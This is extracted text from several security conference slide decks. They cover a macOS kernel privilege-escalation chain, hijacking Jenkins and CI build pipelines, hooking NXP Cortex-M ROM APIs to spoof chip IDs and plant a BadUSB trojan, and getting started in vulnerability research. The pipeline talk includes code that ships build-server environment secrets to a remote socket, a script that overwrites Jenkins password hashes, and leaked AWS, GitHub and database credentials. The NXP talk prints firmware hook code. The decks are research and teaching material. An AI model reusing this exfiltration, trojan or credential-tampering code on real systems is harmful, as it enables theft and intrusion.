OSUnserializeXML cont. • If the allocated object is referenced by other component, it will not be released even if call object::release on it. • IORegistry is good choice. • So we find OSUnserializeXML invoking nearby IORegistry method calling … 2013 Trend Micro 25th Anniversary OSUnserializeXML cont. • In IOKIT service IOMProotDomain , slector 7 (kPMSleepSystemOptions) RootDomainUserClient::secureSleepSystemOptions 。。。 2013 Trend Micro 25th Anniversary Exploit to root by founded bugs and this trick 2013 Trend Micro 25th Anniversary Bugs • CVE-2016-1820 : In disk image module, it will take an object address and use a QWORD value in the object as function pointer to call. • CVE-2016-xxxx: In disk image module, it will leak a object address, which exists in kernel heap. 2013 Trend Micro 25th Anniversary Exploit Process payload Ring3 Ring0 kernel SMAP SMEP KASLR kslide Driver Driver Memory address – Disk Address Call current_proc Call proc_ucred Call posix_cred_get Call thread_exception_return ROP Gadgets HDIX IOPMrootDomain mov cr4 rax; ret Call payload 1. Leak kslide 2. Leak heap address IOCommand-K 3. Spray 4. Tigger App 0xffff1234 Call [rax+0xA] IOCommand-U ROP Gadgets mov cr4 rax; ret Call payload 0xffff1234 1. Use KEEN team’s method to calculate KSLIDE. 2. Call user client IOHIDIXControllerUserClient ‘s selector 1. From the output , we can get a kernel heap address of object IOHDIXCommand. Then call IOHIDIXControllerUserClient ‘s selector 2. It will release the object. 3. Call RootDomainUserClient user client ‘s selector 7 with a carefully prepared XML as parameter , which include ROP gadget in <data> part. 4. Call IOHIDIXControllerUserClient Selector 2 to get RIP execution 1. Use KEEN team’s method to calculate KSLIDE. 2. Call user client IOHIDIXControllerUserClient ‘s selector 1. From the output , we can get a kernel heap address of object IOHDIXCommand. Then call IOHIDIXControllerUserClient ‘s selector 2. It will release the object. 3. Call RootDomainUserClient user client ‘s selector 7 with a carefully prepared XML as parameter , which include ROP gadget in <data> part. 4. Call IOHIDIXControllerUserClient Selector 2 to get RIP execution 2013 Trend Micro 25th Anniversary Exploit Process Detail User mode Kernel mode IOHIDIXControllerUserClient Selector 1 IOHIDIXContr ollerUserClien t IOHDIXCommand IOHDIXCommand address IOHIDIXControllerUserClient Selector 2 IOHIDIXContrt RootDomainUserClient Selector 7 IOHIDIXContr ollerUserClien t OSData IOHIDIXControllerUserClient Selector 2 IOHIDIXControl lerUserClient Control RIP to run ROP gadget 2013 Trend Micro 25th Anniversary Demo 2013 Trend Micro 25th Anniversary Thanks very much
pdf
Is This Your Pipe? Hijacking the Build Pipeline Last login: Aug 7 2011 from DEFCON 19 dc101$ whoami @rgbkrk dc101$ █ Last login: Aug 7 2011 from DEFCON 19 dc101$ whoami @rgbkrk dc101$ su greg dc101$ whoami @_GRRegg dc101$ █ Last login: Aug 7 2011 from DEFCON 19 dc101$ whoami @rgbkrk dc101$ su greg dc101$ whoami @_GRRegg dc101$ hostname @Rackspace dc101$ █ Build Pipeline Components • Source Control • Continuous Integration • Upstream Sources OSS, Builds and Testing Real Sites Need Secrets What secrets?   Managing Secrets Managing Secrets Not Credentials get leaked git add . –Rich Mogull “I did not completely scrub my code before posting to GitHub. I did not have billing alerts enabled ... This was a real mistake ... I paid the price for complacency.” ec2-user@box:~$ ls cpuminer CudaMiner tor-0.2.4.20.tar.gz cuda_5.5.22_linux_64.run tor-0.2.4.20 ec2-user@box:~$ ls cpuminer CudaMiner tor-0.2.4.20.tar.gz cuda_5.5.22_linux_64.run tor-0.2.4.20 bit.ly/mogull Ref: bit.ly/awsinapk 07 40 00 e2 01 20 84 e2 02 27 82 e3 05 00 a0 e1 |.@... ...'......| 01 10 a0 e3 05 30 a0 e3 ae fd ff eb 00 00 50 e3 |.....0........P.| 2a ff ff 0a 09 00 a0 e3 10 d0 8d e2 f0 87 bd e8 |*...............| 1f 40 2d e9 4c 30 90 e5 03 00 a0 e3 04 20 93 e5 |[email protected]....... ..| 0c 00 cd e5 02 24 a0 e1 04 20 8d e5 01 00 a0 e1 |.....$... ......| 07 20 d3 e5 04 10 8d e2 08 30 83 e2 08 30 8d e5 |. .......0...0..| 0d 20 cd e5 13 ff ff eb 14 d0 8d e2 00 80 bd e8 |. ..............| 41 4b 49 41 4a 35 4a 46 42 4d 53 5a 47 4d 37 58 |AKIAJ5JFBMSZGM7X| 33 4a 34 41 00 00 00 00 47 38 41 4b 70 7a 71 2b |3J4A....G8AKpzq+| 31 58 2b 64 65 4d 4f 74 72 63 6b 46 33 68 4a 79 |1X+deMOtrckF3hJy| 63 65 2f 32 30 75 46 63 68 70 33 35 48 69 49 65 |ce/20uFchp35HiIe| 00 00 00 00 2a b2 01 81 b0 b0 5f 84 00 00 00 00 |....*....._.....| a2 b2 01 81 b0 b0 af 01 00 00 00 00 3f 26 01 81 |............?&..| b0 b0 5f 84 00 00 00 00 78 ea ff 7f b0 b0 a8 80 |.._.....x.......| a0 ea ff 7f b0 b0 b0 80 30 eb ff 7f 01 00 00 00 |........0.......| 40 eb ff 7f b0 b0 b0 80 44 eb ff 7f b0 b0 a8 80 |@.......D.......| 5c eb ff 7f b0 af 10 80 e8 ef ff 7f b0 b0 b0 80 |\...............| ! Ref: bit.ly/awsinapk 07 40 00 e2 01 20 84 e2 02 27 82 e3 05 00 a0 e1 |.@... ...'......| 01 10 a0 e3 05 30 a0 e3 ae fd ff eb 00 00 50 e3 |.....0........P.| 2a ff ff 0a 09 00 a0 e3 10 d0 8d e2 f0 87 bd e8 |*...............| 1f 40 2d e9 4c 30 90 e5 03 00 a0 e3 04 20 93 e5 |[email protected]....... ..| 0c 00 cd e5 02 24 a0 e1 04 20 8d e5 01 00 a0 e1 |.....$... ......| 07 20 d3 e5 04 10 8d e2 08 30 83 e2 08 30 8d e5 |. .......0...0..| 0d 20 cd e5 13 ff ff eb 14 d0 8d e2 00 80 bd e8 |. ..............| 41 4b 49 41 4a 35 4a 46 42 4d 53 5a 47 4d 37 58 |AKIAJ5JFBMSZGM7X| 33 4a 34 41 00 00 00 00 47 38 41 4b 70 7a 71 2b |3J4A....G8AKpzq+| 31 58 2b 64 65 4d 4f 74 72 63 6b 46 33 68 4a 79 |1X+deMOtrckF3hJy| 63 65 2f 32 30 75 46 63 68 70 33 35 48 69 49 65 |ce/20uFchp35HiIe| 00 00 00 00 2a b2 01 81 b0 b0 5f 84 00 00 00 00 |....*....._.....| a2 b2 01 81 b0 b0 af 01 00 00 00 00 3f 26 01 81 |............?&..| b0 b0 5f 84 00 00 00 00 78 ea ff 7f b0 b0 a8 80 |.._.....x.......| a0 ea ff 7f b0 b0 b0 80 30 eb ff 7f 01 00 00 00 |........0.......| 40 eb ff 7f b0 b0 b0 80 44 eb ff 7f b0 b0 a8 80 |@.......D.......| 5c eb ff 7f b0 af 10 80 e8 ef ff 7f b0 b0 b0 80 |\...............| ! ಠ_ಠ Fun with Cloud Credentials Infrastructure + - “Redistribute” DNS and Load Balancers Remount Volumes Future SSH Keys Searching for keys AKIAJ OS_PASSWORD rackspace_api_key api_key >> 1000 BREAK IT UP rackspace apikey language:python rackspace apikey -language:python SPLIT rackspace apikey language:python rackspace apikey -language:python X KEEP ! SPLITTING Can’t we just let people know when they “SecOops”? gitsec/nanny Search repositories for security oops Email the original committer & owner of the project Let them know how to revoke keys, panic Responses “Wow, thank you. How did you find these?” “This is only a testing project” “I don’t even own this repository” “Doesn’t matter, I’m not using that account” 265+ Keys config/initializers/secret_token.rb ಠ_ಠ … we’ve confirmed this possibility by manual inspection TWITTER_CONSUMER_SECRET = 'DEFINE-ME-HERE--DO-NOT-CHECK-IN- PUBLICLY' What if you need secrets for testing? Travis CI Travis CI • Open Source, free for public repos • git push -> web hook -> tasks • Less control than Jenkins language: python python: - 2.7 before_install: - pip install invoke==0.4.0 pytest==2.3.5 install: - pip install . script: invoke test language: python
 python: 2.7
 install: pip install .
 script: invoke test
 env:
 global:
 secure: hsgKUzwffhhTcmnnr1vYfvXiU… Encrypted Secrets Can we leak decrypted secrets? No?!?! – Travis CI “Keys used for encryption and decryption are tied to the repository. If you fork a project and add it to travis, it will have a different pair of keys than the original.” ! " # # Props. Code Review! Who is Jenkins? How can I compromise him? Why Target Jenkins? The road to production Hipster developer makes an oops envs = os.environ message = str(envs) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TCP_IP, TCP_PORT)) s.send(message) data = s.recv(BUFFER_SIZE) s.close() Connection address: ('104.130.129.241', 36621) received data: {'BUILD_DISPLAY_NAME': '#55', 'BUILD_ID': '2014-08-07_20-50-38', 'BUILD_NUMBER': '55', 'BUILD_TAG': 'jenkins-scrapy-55', 'BUILD_URL': 'http://104.130.129.241/job/scrapy/55/', 'EXECUTOR_NUMBER': '1', 'GID': '1000', 'GITHUB_TOKEN': '7f550a9f4c44173a37664d938f1355f0f92a47a7', 'GIT_BRANCH': 'origin/master', 'GIT_COMMIT': '72e1a387ca969db942ea3b06b2e574d90db5c1df', 'GIT_PREVIOUS_COMMIT': '72e1a387ca969db942ea3b06b2e574d90db5c1df', 'GIT_URL': 'https://github.com/devGregA/scrapy', 'HOME': '/var/lib/jenkins', 'HUDSON_COOKIE': '46258990-8956-40b9-a826-b71b1bcda0bf', 'HUDSON_HOME': '/var/lib/jenkins', 'JENKINS_SERVER_COOKIE': '6d082cd38de4b35a', 'JENKINS_URL': 'http://104.130.129.241/', 'JOB_NAME': 'scrapy', 'JOB_URL': 'http://104.130.129.241/job/scrapy/', 'POSTGRES_USER': 'postgres' 'POSTGRES_PASSWORD': 'HotSpankinWebApp' Targeting Jenkins Directly Digging In the Code !"" /var/lib/jenkins! !!!"" users! !!!!!"" <USER>! !!!!!!!"" config.xml! config.xml <?xml version='1.0' encoding='UTF-8'?> <user> <fullName>admin</fullName> <properties> <hudson.model.PaneStatusProperties> <collapsed/> </hudson.model.PaneStatusProperties> <jenkins.security.ApiTokenProperty> <apiToken>S7o/e8JSXMPnBufr0s46br8X9qs2Xvixg7fyZcSyk2TEfr6P2Rm/JKw9xVRb9sYz </apiToken> </jenkins.security.ApiTokenProperty> <com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty > <hudson.security.HudsonPrivateSecurityRealm_-Details> <passwordHash>#jbcrypt:$2a$10$Pw/2FPkJVEWZCYRmtzjNweyAA.5orVqBXpx3oP00O/xKmz02jQ/vi </passwordHash> </hudson.security.HudsonPrivateSecurityRealm_-Details> <jenkins.security.LastGrantedAuthoritiesProperty> </jenkins.security.LastGrantedAuthoritiesProperty> </properties> </user> JBCrypt you say? <?xml version='1.0' encoding='UTF-8'?> <user> <fullName>admin</fullName> <properties> . . . <jenkins.security.ApiTokenProperty> <apiToken>S7o/e8JSXMPnBufr0s46br8X9qs2Xvixg7fyZcSyk2TEfr6P2Rm/JKw9xVRb9sYz </apiToken> </jenkins.security.ApiTokenProperty> <com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty > <hudson.security.HudsonPrivateSecurityRealm_-Details> <passwordHash>#jbcrypt:$2a$10$Pw/2FPkJVEWZCYRmtzjNweyAA. 5orVqBXpx3oP00O/xKmz02jQ/vi </passwordHash> </hudson.security.HudsonPrivateSecurityRealm_-Details> <jenkins.security.LastGrantedAuthoritiesProperty> </jenkins.security.LastGrantedAuthoritiesProperty> </properties> </user> jenkins/core/src/main/java/hudson/security/ HudsonPrivateSecurityRealm.java /** * {@link PasswordEncoder} that uses jBCrypt. */ ! public String encodePassword(…) throws DataAccessException{ return BCrypt.hashpw(rawPass,BCrypt.gensalt()); } ! public boolean isPasswordValid(…) throws DataAccessException{ return BCrypt.checkpw(rawPass,encPass); }}; ಠ_ಠ $2a$10$OP457.MLkiu9PnIvVq2IG.GkPB9xoMkN6V3F2Mj1p8y9qqWJZ6DtC public class Mal { public static void main(String[] args) { ! String hashed = BCrypt.hashpw(“pwdplz", BCrypt.gensalt()); System.out.println(hashed); } } What if this was in our build? results = os.listdir('/var/lib/jenkins/users/') for res in results: for line in fileinput.FileInput("/var/lib/jenkins/users/%s/config.xml" % res,inplace=1): line = re.sub(r"#jbcrypt:[^<]+", "#jbcrypt:waga", line ) print line, message = 'using jenkins: %s ' % str(results) print os.system(‘pkill -HUP java‘) Let’s find out! There is a catch… Good news! Or Not… If you’re really committed… Keep. Committing. What if there aren’t any oops? Automatic PR Building Hitting the Gate Pressing Forward Be Sneaky Thwart the Gate Being Sneaky It can be as simple as ‘yp’ static OSStatus SSLVerifySignedServerKeyExchange(SSLContext *ctx, bool isRsa, SSLBuffer signedParams, uint8_t *signature, UInt16 signatureLen) { OSStatus err; ... ! if ((err = SSLHashSHA1.update(&hashCtx, &serverRandom)) != 0) goto fail; if ((err = SSLHashSHA1.update(&hashCtx, &signedParams)) != 0) goto fail; goto fail; if ((err = SSLHashSHA1.final(&hashCtx, &hashOut)) != 0) goto fail; ... ! fail: SSLFreeBuffer(&signedHashes); SSLFreeBuffer(&hashCtx); return err; } Thwarting the Gate (Maybe.) /github-webhook/ The worst case scenario The Quickest Overview On Securing Jenkins EVER Disable Anon Access Take Code Review Seriously Gate Your Deploys Use a Random Port for Slave Comms Disable Executors On Master Change your web-hook from the default URL
pdf
Your Peripheral Has Planted Malware —An Exploit of NXP SOCs Vulnerability Yuwei ZHENG, Shaokun CAO, Yunding JIAN, Mingchuang QIN UnicornTeam, 360 Technology Defcon 26 About us • 360 Technology is a leading Internet security company in China. Our core products are anti-virus security software for PC and cellphones. • UnicornTeam (https://unicorn.360.com/) was built in 2014. This is a group that focuses on the security issues in many kinds of wireless telecommunication systems. • Highlighted works of UnicornTeam include: • Low-cost GPS spoofing research (DEFCON 23) • LTE redirection attack (DEFCON 24) • Attack on power line communication (Black Hat USA 2016) Agenda • Motivation • About Secure Boot • Different implementations of secure boot • Secure boot and Anti-clone • Details of the vulnerability • Exploitation • Countermeasures Motivation • Research the Secure Boot implementations in cost- constrained systems. • Assess the anti-cloning strength of embedded SoCs. • Try to find a common way to inject malware into peripheral. About Secure Boot • Public key-based binary signing and verification used by Secure Boot • Signing 1) Signer generate a key pair, K-priv and K-pub(Certificate). 2) Calculate the binary image’s hash. 3) Encrypt the hash with K-priv, the output is Signature. 4) Attach the Certificate(K-pub) and Signature to binary image. • Verification 1) Calculate the binary image’s hash 2) Decrypt the Signature with K-pub (certificate), the output is the original Hash. 3) If the two hashes are equal, the Signature is valid, which means binary hasn’t been modified illegally. About Secure Boot • The primary boot loader(PBL) verify and load secondary boot loader(SBL) • The SBL verify and loader OS kernel. • The OS verify and load drivers and applications. Signature App PuK Application Signature Kernel PuK Kernel Root PuK in OTP area Signature SBL PBL in Boot Rom External Nand or Emmc What can Secure Boot be used for? • Prevent firmware from being infected or added with evil features. Two attack examples: Inject evil features to 4G LTE modem. ([1] blackhat us14, Attacking Mobile Broadband Modems Like A Criminal Would). Modify the femoto cell's firmware to eavesdrop cellular users.([2]defcon 23, Hacking femoto cell). Secure Boot can be used to mitigate these attacks. • Protect the intellectual property of product manufacturers. Different implementations of Secure Boot • UEFI and Secure Boot • Secure Boot in the smart phones • Secure Boot in non-trustzone SOCs Secure Boot in non-trustzone SOCs Bootloader with IAP Secure boot with IAP Application Boot Rom Bootloader&IAP Signature Application Boot Rom APP Puk Bootloader&IAP Code read protection The underground piracy industry One-time costs Reverse PCB: 20$ - 200$ Crack Fuse: 200$ - 5000$ Crack Fuse / OTP to read out firmware Buy the same components Reproduce PCBA Batch cloning target products Buy one piece of target product Reverse PCB and components Unique ID with Secure Boot Signature Application Boot Rom APP Puk Bootloader&IAP Unique ID Unique ID Makes Cloning Difficult One-time costs Reverse PCB: 20$ - 100$ Crack Fuse: 200$ - 5000$ Reverse Firmware and patch: 5000$ - 50000$ (must pay again when firmware updated) Bypass the Secure Boot verification • Patch? Heavy reverse analysis work. Firmware code is strongly position dependent. After the firmware is upgraded, the patch will be replaced. • Hook? It’s easy in high level OS. Change the behavior of firmware without modify firmware. How to hook the functions in IOT firmware? The normal procedure to access the Unique ID • As shown in the figure, in the NXP’s cortex-m3, cortex-m4 classes of SoCs, a series of ROM API functions are exported, including the function for reading Unique IDs. The normal procedure to access the Unique ID The Unique ID can be access with the following code snippet #define IAP_LOCATION *(volatile unsigned int *)(0x104000100); typedef void (*IAP)(unsigned int [],unsigned int[]); IAP iap_entry=(IAP)IAP_LOCATION; Use the following statement to call the IAP: iap_entry (command, result); To read the Unique ID, the command is 58; The normal procedure to access the Unique ID How to hook the functions in IOT firmware? • Cortex M3/M4 provide a way to remap an address to a new region of the flash and can be use to patch the ROM API entry. What’s FPB • FPB has two functions: 1) Generate hardware breakpoint. Generates a breakpoint event that puts the processor into debug mode (halt or debug monitor exceptions) 2) remap the literal data or instruction to specified memory • FPB registers can be accessed both by JTAG or MCU itself. FPB Registers FP_COMP0 – 5 are used to replace instructions. FP_COMP6 – 7 are used to replace literal data. Name Function FP_CTRL Flash Patch Control Register FP_REMAP Flash Patch Remap Register FP_COMP0 - 5 Flash Patch Comparator Register 0-5 FP_COMP6 - 7 Flash Patch Comparator Register 6-7 How FPB works 0x8001000: mov.w r0,#0x8000000 0x8001004: ldr r4, =0x8001018 0x8001008: ldr r4,[r4] … 0x8001018: dcd 0x00000000 • If we run this code normally, the result of this code will be: r0=0x8000000,and r4 = 0. • But if we enable the fpb, then run this code, the result will be: r1 = 0x10000,and r4 = 0xffffffff; Key point to process the FPB • The remap table must be aligned to 32 bytes. • The remap table must be placed in SRAM range(0x20000000-0x30000000). • Make sure the remap table never be replaced. Put these value into the stack area, and move the base position of stack pointer to dig a hole in the SRAM for it. Code example(replace literal data) • typedef struct • { • __IO uint32_t CTRL; • __IO uint32_t REMAP; • __IO uint32_t CODE_COMP[6]; • __IO uint32_t LIT_COMP[2]; • } FPB_Type; • #define FPB ((FPB_Type *)0xE0002000) • #define FPB_DATA ((volatile int*)0x0x2000bfe0) • static const int data = -1; • void main() • { • FPB->REMAP=0x2000bfe0; • FPB->LIT_COMP[0] = (uint32_t)&data; • FPB_DATA[6] = 0; • FPB->CTRL = 0x00000003; • printf(“%d\n”,data); • } Exploitation I • Change Unique ID to any arbitrary value Patch the __FPB_FUNC and FakeIAP code to the blank area of the flash. Patch the ResetHander to trig the __FPB_FUNC function to execute. Do not any changes to Application area, so the signature is still valid. Signature Application Boot Rom App PuK Boot image Unique ID __FPB_FUNC FakeIAP Exploitation Code Original vector table __vector_table DCD sfe(CSTACK) DCD Reset_Handler DCD NMI_Handler DCD HardFault_Handler DCD MemManage_Handler DCD BusFault_Handler DCD UsageFault_Handler . . . Patched vector table __vector_table DCD sfe(CSTACK) DCD __FPB_func DCD NMI_Handler DCD HardFault_Handler DCD MemManage_Handler DCD BusFault_Handler DCD UsageFault_Handler . . void _FPB_FUNC() { set_fpb_regs(); GoToJumpAddress(Reset_Handler); } Exploitation Code • void fake_iap(unsigned int para,unsigned int *rp_value) • { • if(para[0]==58) • { • rp_value[0] = 0;//success • rp_value[1] = NEW_UID_0; • rp_value[2] = NEW_UID_1; • rp_value[3] = NEW_UID_3; • rp_value[4] = NEW_UID_4; • } • else • { • IAP iap_entry=(IAP)(OLD_ENTRY); • iap_entry(para,rp_value); • } • return; • } Demo of changing UID Exploitation || • Inject Hardware Trojan into Jlink debuger • J-Link is a powerful debug tools for ARM embedded software developer. • It has an USB port, so it’s a good carrier for hardware Trojan. • The Trojan can be inject before sell to end user. Inject Hardware Trojan • The J-Link-v10 use an NXP LPC4322 chip, it is based on cortex-m4 core. and this chip is vulnerable. • LPC4322 has 512K internal flash. • Jlink firmware use the lower 256K flash. There is enough space to inject the Trojan Add BadUSB into J-Link • Modify a J-Link into a BadUSB gadget, and the J-Link normal function keeps unchanged. Signature Application Boot Rom APP Puk Bootloader&IAP Unique ID __FPB_FUNC FakeTimerHandler FakeIAP Attack Flag BadUSB Trigger Trojan • How to trigger the malware executing? It can be considered that there are two sets of firmware stored in the flash, one is the J-Link application firmware, and the other is the BadUSB Trojan firmware. It must be ensured that the J-Link application firmware can run normally most of the time, and users can use J-Link functions normally. The question now is how to trigger the execution of badUSB Trojan firmware? • Hook the timer interrupt entry We do it by hooking the application firmware’s timer interrupt entry. When the vector function has been executed for certain times, the BadUSB will be triggered to execute. And if the attack is performed successfully, the attacked flag will be reset. After that, the J-Link will continue working normally. The details of implementation FakeTimerHandler Is timer reached the target value Set Attack Flag Reset chip Call the original TimerHandler Power up Jump to Resethander of Jlink bootloader Is the attach flag enabled? Set FPB Register to Hook ROM API and TimerInterruptHandl er No Jump to BadUSB Firmware Attack Clear attack flag Yes Jump to Resethander of Jlink bootloader Demo of BadUSB Vulnerability mitigation measures • Don’t leak your firmware. • Disable the FPB before call ROM API. • Do not leave any blank flash area. • Pad the firmware to set the blank flash area to specific value, For example, instructions like ‘jmp to reset’. • You’d better always verify signature for the whole flash area. Affected chips • Almost all cotex-m3, cortex-m4 of NXP LPC13XX series, LPC15XX series, LPC17XX series, LPC18XXseries, LPC40XX series, LPC43XX series • Other vendors also have chips that provide UID feature, but the UID cannot be replaced by programming FPB. Advice from PSIRT of NXP • Code Read Protection (CRP) Setting Set CRP level to CRP3, to disable JTAG and ISP. The resulting problem is the firmware of the chip also cannot be update anymore through JTAG or ISP. So you must design an IAP instead by yourself if you want to update firmware after your product shipped, and make sure it’s not vulnerable. JTAG ISP CRP1 NO YES CRP2 NO YES CRP3 NO NO Countermeasure • It’s not a good idea to put the ROM API in an address region that can be remapped. We recommend SoC vendor prohibit remapping of ROM APIs in subsequent products. Reference [1] Andreas Lindh, Attacking Mobile Broadband Modems Like A Criminal Would. https://www.blackhat.com/docs/us- 14/materials/us-14-Lindh-Attacking-Mobile-Broadband-Modems-Like-A-Criminal-Would.pdf [2] Yuwei Zheng, Haoqi Shan, Build a cellular traffic sniffier with femoto cell. https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/DEFCON-23-Yuwei-Zheng- Haoqi-Shan-Build-a-Free-Cellular-Traffic-Capture-Tool-with-a-VxWorks-Based-Femto.pdf [3] LPC4300/LPC43S00 user manual. https://www.nxp.com/docs/en/user-guide/UM10503.pdf [4] Cortex M3 Technical Reference Manual. http://infocenter.arm.com/help/topic/com.arm.doc.ddi0337h/DDI0337H_cortex_m3_r2p0_trm.pdf Thank You ~
pdf
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game Joshua Drake, Zimperium Steve Christey Coley, MITRE DEF CON 24 Aug 7, 2016 Introductions • About Josh – 20-years of VR, Ran iDefense VCP • About Steve – CVE co-founder, “Responsible Disclosure” (sorry), CVSS, CWE, ... • Why we are doing this – Currently, there is *way* more insecure code out there than researchers. This isn't guaranteed in 10 years, though. – We need more people looking at code that’s deployed in the real world • What we hope to accomplish by doing this – Encourage more people to get involved Disclaimers • This is our opinion only • Based on our own career experiences • Others have their own opinions • YOU… proving the cliche… are a unique snowflake • You’ll find your own way, but hopefully we can help you find it faster • No new ‘sploits here What is a Vulnerability? • Too many definitions – Roughly: “a mistake in software’s design or implementation that allows an ‘attacker’ to conduct activities that (1) affect other users and (2) are not explicitly allowed or intended by the developer or sysadmin.” • “What do you have?” vs. “What do you get?” - there must be a difference • “How much help must the victim give you?” (user interaction) – Automatic – “Normal” usage (e.g., clicking on a link is *normal*) – Was victim stupid/clueless? (“just copy this javascript: url into browser”) • “How much luck do you need?” –ASLR, unusual configs, narrow race windows What is a Vulnerability? (2) •Vulnerabilities != Exploits (awesome @SwiftOnSecurity tweet) •A Vulnerability resides in the software itself, doing nothing on its own •An Exploit is a set of steps (possibly manual, or in the form of a program) that interacts with the software in a way that has a non-zero chance of successfully taking advantage of a vulnerability” What is Vulnerability Research? • “The process of analyzing a product, protocol, or algorithm in order to find unintended behaviors that allow an attacker to gain additional access to functionality or data that has not been explicitly approved by the product’s administrator.” • This process may take minutes, days, months, even years • Some people use “Vulnerability Discovery” to distinguish finding individual bugs in specific software versus more systematic/academic work • Solving puzzles within puzzles, where you don’t know what the puzzle is when you begin Motivations: Why Do Vulnerability Research? • Knowledge / Wisdom • Altruism • Self-Protection – Aka Secure your systems by hacking them • Fame / Notoriety • Money / Career • Power • Fun / Lulz • Realistically, it’s a mix per individual – Not every researcher will share your motivations – Vendors might have experience or only assume certain motivations Potential Work and Employers • You can be a finder, extender, builder, fixer, defender, cataloger, coordinator, communicator, malware analyzer, risk evaluator, trend-discoverer, ... • Note: not all work gets public recognition • Just for fun (“hobbyist”) • Yourself! - Bug bounties, black/gray market sales, etc. • Consulting firms that value research • Security product companies (for marketing value) • Software vendors (product security or response team) • Government contractors (or, government directly) • Academia (focus is “pure” research) • CERTs (analyze and understand real-world attacks) Skills for Success • You can have some of these skills/traits and get by, but we’re trying to talk about what (usually) seems to lead to success • Code, protocols, file formats, or “how things work” under the hood • Common attack patterns • Logical flows (e.g. logic vulns, CSRF, authZ/authN, etc.) • How to run analysis tools and evaluate their findings • Clear communication; one (preferably many) of – Steps to reproduce, and/or functional PoC with well-labeled functions, comments, etc. – Using common vocabulary – Describing the issues - first to vendor, then to public – Describing why it’s important – Understanding and respecting your audience(s) – Well-structured advisory – Note that poor English is NOT on this list; the above items are much more important • Clear communication is probably one of the biggest contributors to career success, no matter your specialty (also, less drama due to misunderstandings) Personality Traits for Success: “Should” Have • Persistence • Patience - especially when dealing with people • Diligence • Curiosity • Critical thinking • Willingness to learn • Self-motivated • Willing & able to work independently, in solitary fashion Personality Traits for Success: “Nice” to Have • Collaborative • High concentration • Addictive • Willing to share findings or techniques • Passionate • Desire for constant improvement • Sense of humor Key Terms (Vocabulary) • Many of these terms have multiple definitions or usage • Attack Surface: the set of all inputs and code paths with which an attacker can interact • Impact – RCE (remote code execution) – EoP (escalation of privilege) • PoC (Proof of Concept) – Ambiguous term… – What concept are you proving?! – Be clear, it will ease your efforts. • Vulnerability classes – Memory corruption, injection (SQLi, XSS, etc.), protocol/specification design, … – When the low-hanging fruit fails: “Business logic” • Root cause analysis – Ex: XSS in error msg indicating system() or path trav • Chain analysis – It’s root cause turtles all the way down! The Firehose: Where to Learn? ● OWASP Top Ten ● SANS/CWE Top 25 ● White papers ● Periodic electronic collections ● Videos ● Mailing lists ● Github repos ● Vendor’s bug databases ● Vuln scanners ● Intentionally-vulnerable packages ● CTFs / wargames ● Follow individual researchers ● Vulnerability databases ● Conference talks ● Classes ● Books ● Yearly White Hat Security Top 10 attacks Selecting What to Analyze for Security Problems (1) • You can go deep or broad – Language, vuln class, exploit technique, detection technique, ... • Anything you do that contributes to the body of knowledge is valuable – Even negative results are useful! (though difficult to admit to) • Lots of “low-hanging fruit” out there – Older code is more likely buggy – Complex or overly complex systems are often ripe – Large attack surface creates many opportunities • Software popularity matters – Little-used software has lower quality but also lower impact to general public – Popular software with extensive vulnerability history is often difficult • Too buggy means lower rewards or less recognition – Sadly, they won’t get better without liberal application of effort Selecting What to Analyze for Security Problems (2) • Brand-new or emerging technologies – Vendor rush-to-market usually means security is at best an afterthought • Newly-discovered or emerging vulnerability/attack classes – Each new class should force a review of ALL products across the board – Or, refine a new attack/vuln with new variations, stronger impacts, etc. • Previously-unanalyzed code – Highly likely to contain lots of low-hanging fruit – Some targets grow popular without getting proper review / fixes (Android anyone? IoT?) – Some targets have been around forever but only recently connected to networks (hello medical devices and automobiles!) • If you have access to expensive or difficult-to-obtain products: do eeeeeet • Follow what others are doing (“Pigpile” or “Bandwagon” Effect) – Could offend the original researcher(s) – Benefit from a base level of published research Tools and Techniques • Dynamic vs. Static analysis - to run or not to run? – Dynamic is analyzing a program by running it - e.g. fuzzing, debugging – Static is purely inspection of program code - e.g. auditing, SCA tools – Code coverage (how much), accuracy (false/true positives) are important! – Real power is achieved by combining: hybrid analysis FTW! • Code auditing (binary/source) – Grep! Pedantic compiler settings! Automated taint checking! • Design review • Threat modeling (e.g., STRIDE) • Automated tools – Fuzzers, static code analysis – Risk of false positives – Lack of root cause analysis Relevant Standards • Using standards can make it easier to communicate critical vulnerability information across broad groups of people, including consumers, vendors, and others – (but haters do exist, and haters gonna hate) • CVE - Common Vulnerabilities and Exposures – Numeric identifiers for tracking vulnerabilities • CWE - Common Weakness Enumeration – Hierarchy of developer “mistakes” that lead to vulns • CAPEC - Common Attack Pattern Enumeration and Classification – Common traits of attack methodologies • CVSS - numeric rating – Pros: widely adopted, focused on key characteristics, provides consistency – Cons: not as consistent as hoped, difficult to use in non-traditional contexts Disclosure Models • Reasons for (public) disclosure – To inform the parties responsible for fixing – To put pressure on unresponsive vendors / get them to care – To inform the masses that there’s a problem that needs attention • Models – Full – Partial – Coordinated (formerly “Responsible”) – Non-disclosure • Standards Documents – ISO standard 29147 (@k8em0, etc.) - focuses on what VENDORS should do • Now freely available! – IETF Draft circa 2002 – RFPolicy 2.0 Considerations for Your Disclosure Policy ● Your own disclosure policy can help clarify expectations between you and vendors ● What if: ● You can’t even find the right contact point? ● 0-day exploitation is actively occurring? ● Somebody else publicizes your vuln(s) first ● The vendor doesn’t respond? ● What is the correct grace period? ● Design flaws often take a LONG time to fix Considerations for Your Disclosure Policy (2) ● Impact to consumers who want to fix immediately ● Impact to consumers who can’t fix immediately ● Whether vendor appears to be acting in good faith ● Will your actions: ● Make it harder for others to want to work with you in the future? ● Make it more difficult for people to hire you? ● “Is it worth it to disclose at all?” ● Again, no one-size-fits-all. Moral compass, etc. Advisory Structure and Contents • Your advisory is likely to be read by various people with slightly different goals • The better your vendor coordination, the better your advisory details will be (for customers, anyway) • Easily identifiable advisory structure – Well-labeled sections, different bugs in different segments, etc. • Background / Explanation of software • Synopsis / Abstract (brief) • Affected software / hardware – Vendor name, product name, vulnerable versions • Newest vulnerable version • Fixed / non-vulnerable versions – Can quickly become a complex situation – Best effort in most cases Advisory Structure and Contents (2) • Privileges & access required to launch an attack • Impact of a successful attack – Privileges gained; unauthorized operations that can now be conducted; etc. – CVSS score, along with full vector • Detailed Description – “Too Much vs. Not Enough” – To PoC or not PoC? That is the question. – Level of detail 